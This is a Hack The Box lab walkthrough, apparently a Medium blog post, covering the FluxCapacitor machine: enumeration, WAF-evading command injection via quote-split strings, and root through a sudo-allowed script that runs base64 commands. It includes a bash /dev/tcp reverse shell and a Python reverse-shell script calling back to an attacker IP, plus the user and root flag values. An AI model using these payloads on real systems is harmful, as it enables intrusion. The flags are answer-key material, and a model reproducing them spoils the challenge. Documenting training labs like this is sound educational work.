HacktheBox Write Up — FluxCapacitor

13xch
12 min readJan 16, 2024

--

HTB Walkthrough within, ctrl+F for “Root Flag” to quick search

Findings/Recommendations at bottom

Key Takeaways

The version being used to host the webserver (OpenResty 1.13.6.1), is a version that can be simply compromised using a well-known exploit (See Ref 1.2). From this initial point of entry, the attacking team was able to capture network traffic to the organization’s webserver and modify it, sending malicious information to it, executing unauthorized commands on the organization’s network that were not blocked by the tool put in place to block malicious traffic, called SuperWAF (See Ref 1.3 and 1.4). From here, the attacker placed a malicious file in a directory on the machine that was able to have files placed in it by any user (See Ref 1.5), which then let them gain access to the machine from their local machine and then escalate their privileges to the highest access by abusing a certain script that was left unprotected (See Ref 1.6).

Objectives

Obtain the user flag by gaining any kind of remote access to the target machine/environment and extract the “user flag” string of characters, then escalate privileges, often to the “root” user or system owner to then get the “root flag,” typically only accessible by this user.

Attack Path

Enumeration

To begin, we ran an nmap scan on this box, as we typically do. This shows us what ports and services are available and running on this target machine.

nmap -sV -sC -p- 10000 10.129.235.213

Our first nmap scan got blocked, so we threw in the -Pn flag to avoid detection.

“The -Pn option in Nmap stands for “No Ping.” When you use this option, Nmap will skip the host discovery phase and will not send ICMP echo requests (ping) to determine if the target hosts are online. This is useful when you want to scan a target without relying on ping probes to check for host availability.[1]

[1] https://nmap.org/docs.html

We got no output again. From here, we opened up zenmap to let it configure our scan for us, that way we could get an output and see what we are looking at.

Zenmap

We performed an intense scan, and this time, were given an output.

With only one option here, we went in our browser to see what this webserver was.

Port 80 Enumeration

Nothing too obvious from this, and wappalyzer did not detect anything.

Dirbuster

We also threw this into Dirbuster to see if there were any webpages we could check out.

While this ran, we went back to the webpage to see if there was something we missed.

The page source revealed a /sync, which after we put in our browser, was a 403 forbidden page.

This did, however, reveal to us a software and version.

“OpenResty® is a full-fledged web platform that integrates our enhanced version of the Nginx core, our enhanced version of LuaJIT, many carefully written Lua libraries, lots of high quality 3rd-party Nginx modules, and most of their external dependencies. It is designed to help developers easily build scalable web applications, web services, and dynamic web gateways.”[1]

We also decided to see if this version of this software was vulnerable to a known exploit — and it was. A google search revealed a 9.8 scored CVE[2] to us.

[1] https://openresty.org/en/

[2] https://nvd.nist.gov/vuln/detail/CVE-2018-9230

This was great news, as we discovered a potentially unpatched vulnerability with a known exploit.

CVE-2018–9230

From the above page, there was a link to a GitHub repo with the exploit and its proof of concept[1].

[1] https://github.com/Bypass007/vuln/blob/master/OpenResty/Uri%20parameter%20overflow%20in%20Openresty.md

There was also a YouTube video that walked us through the steps[1] on how to perform this exploit.

Before we attempted this exploit, we had to figure out how the webserver worked.

[1] https://www.youtube.com/watch?v=VojxoLMxH38

By this time, our Dirbuster scan had basically finished, and other than /sync, there was not anything of interest.

Testing Port 80/Request Modification in Burpsuite

To see what was being sent in our requests to the server, we captured a packet in Burpsuite to analyze it[1].

[1] https://portswigger.net/burp/documentation/desktop/getting-started/intercepting-http-traffic

We sent this to the repeater to see what was being sent along with the 403: Forbidden output.

Nothing of too much interest. Keeping in mind the idea that it is possible for Web-apps to filter out User-Agents, we removed the User-Agent HTTP header from our GET request entirely, and were given a 200 response.

Rendering this page output a timestamp:

With our web development experience, we guessed that this output could have been part of some RCE test, where a timestamp was output when code was executed successfully, so if we could modify the packet to be sent through to include a command, we could achieve RCE.

Wfuzz

With the help of a guide[1], we attempted to use wfuzz to see what else was available to us on the webserver.

[1] https://null-byte.wonderhowto.com/how-to/fuzz-parameters-directories-more-with-ffuf-0330806/

We used this command:

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "User-Agent: nothing" - hh=19 http://10.129.235.213:80/sync?FUZZ=test

wfuzz: This is the command-line utility for web application brute-forcing, fuzzing, and vulnerability scanning.

-c: Colorize the output for better readability.

-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: Specifies the wordlist file to be used for fuzzing. In this case, it’s using the directory-list-2.3-medium.txt wordlist located at the specified path.

-H “User-Agent: nothing”: Sets a custom HTTP header for the requests. In this case, it sets the User-Agent header to “nothing”.

— hh=19: Filters the responses based on the specified HTTP response code. In this case, it filters responses with an HTTP response code of 19.

“http://fluxcapacitor.htb/sync?FUZZ=test": The target URL with the FUZZ placeholder. The FUZZ placeholder will be replaced by each entry from the wordlist during the fuzzing process. The parameter test is appended to each FUZZ value.

That command gave us a short output:

From this, we knew that we had to find out what the “opt” parameter was for, and how we could manipulate it.

Modifying “opt”

Since we had a packet already captured in burp, we just used this one in the repeater.

This part involved a lot of trial and error.

Here are some keys to what we found:

- A command would return a timestamp if enclosed with ‘

- A command would return nothing if with no ‘

- ‘pwd’ returned a 403 forbidden

- ‘ls’ returned a 403 forbidden

- ‘ ‘, ‘/’, and ‘’ all returned the timestamp, with the “Server” header as SuperWAF

- This didn’t appear to be a real service, rather a WAF for this box

- Separating commands with “’” seemed to provide some output

In the above images, we were given an output other than a 403 response or a timestamp. We then tried this format of separating characters of a command with an ‘.
1 of 2 (See below for response)
2 of 2 (See above for request)

This was a major breakthrough, as we had RCE and were able to run commands on the machine to determine how we could enter it.

By following the format of separating commands with ‘ ‘, we could pass whatever filter was blocking them.

Example:

Command to run: id

In opt: ‘ I’’d’

From here, we could get an idea of the makeup of the directories in this machine.

1 of 2 (See below for response)
2 of 2 (See above for request)

While we had this ability, we also tried a reverse shell to make navigation easier.

With this command:

bash -c 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1'

We could launch a reverse shell back to a listener on our device. To do this, we first had to figure out how to pass the command.

After trying to split up the command for a long time, we were unable to get a shell to pass through as a command.

Privilege Escalation

So, we were left with escalating our privileges through seeing what the user we were acting as could do.

We ran sudo -l, but to do this, we had to pass:

' su''do -l'

We were able to run .monit as root, which we took note of. At this point it was still bugging us having to figure out a way to pass commands through burp and splitting them up by trial and error, so we had to figure out a way to get a shell.

We had to figure out if this machine had python, and if it did, we could attempt to grab a reverse shell hosted on our local machine and then execute it.

Python Reverse Shell Attempt #2

To do this, we had to ls the /etc directory, which we did with this command:

' l\s -la /et\c/'

This was good, as we found it:

Now, we had to use our python reverse shell script and make it available for the burp requested command to grab:


import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.8",4444)) #CHANGE THIS
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Now, as mentioned before, we had to make use of the .monit binary that we had access to, which when “catted” using the burp command tactic we have been making use of, outputs to this:

#!/bin/bash
if [ "$1" == "cmd" ]; then
echo "Trying to execute ${2}"
CMD=$(echo -n ${2} | base64 -d)
bash -c "$CMD"
fi

Here’s a breakdown of the script:

- if [ “$1” == “cmd” ]; then: Checks if the first argument is equal to the string “cmd”.

- echo “Trying to execute ${2}”: Prints a message indicating an attempt to execute a command.

- CMD=$(echo -n ${2} | base64 -d): Decodes the second argument from base64 and assigns it to the variable CMD.

- bash -c “$CMD”: Executes the decoded command using bash.

From this, it appeared that we needed to send a base64 encoded command in order for it to execute as sudo.

We knew the normal command, but we had to base64 encode it:

Now that we had created our base64 encoded command to pass through our RCE technique, we had to alter it to bypass the WAF. Since figuring out the “proper” way to do it would have taken too long, we simply threw a backslash in between each character.

We also had to specify the binary to be ran:

We checked back on our http server to see that it successfully grabbed the reverse shell and placed it in /tmp:

EDITOR NOTE: From this image, it is clear that the file was not successfully grabbed, we will see why in a little bit. For now, keep reading!

Success. We could now attempt to execute the file and gain a connection on our netcat listener.

We had to follow the same strategy as before, base64 encoding the command to be ran, then separating each character with a backslash before running it with .monit.

After sending this packet, we checked our listener:

No hit.

Let’s make sure that our reverse shell had been successfully placed into the /tmp directory as we assumed.

Explanation for why it isn’t there coming up.

We assumed that we had successfully placed it there, but we didn’t. Looking back at our http server we were hosting, we noticed that something had been wrong with our command to grab the file.

Bang

It is possible that the tail end of our command we passed to the .monit got cut off by the WAF, so we had to re-run it with another \ at the end.

After altering what we passed through .monit many times, we were unable to figure out how to get the last y in .py to be included, and our wget kept requesting a .p file.

Eventually, we just changed up how we base64 encoded the command, along with a shorter version of the command:

Verification this time!

We then ran the command to execute this file.

We had finally gotten a shell.

We were in as user “nobody.”

Shell as nobody

We spawned a more interactive TTY shell with:

python3 -c 'import pty; pty.spawn("/bin/bash")'

From here, we could grab the user flag.

User flag: f3b77e6c50ff7b319db3e5187569d1f0

Note: There is another user.txt in /FluxCapacitorInc, but it is not accepted as the flag.

Privilege Escalation (In Shell)

This part was easy to perform, as we knew we had access to run the .monit binary as sudo, and any command we passed as base64 encoded would run as sudo without asking for a password.

So, all we had to do to grant ourselves root access was run the binary with the command “sudo su” as base64, which was this command:

sudo /home/themiddle/.monit cmd c3VkbyBzdQ==

We had been granted root access.

Root flag: 824f05394181c386a42fc6c6f13053dc

Keywords

Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb fluxcapacitor

--

--

13xch

Cybersecurity student and tech enthusiast. Exploring the intersection of technology and business.🌐🔐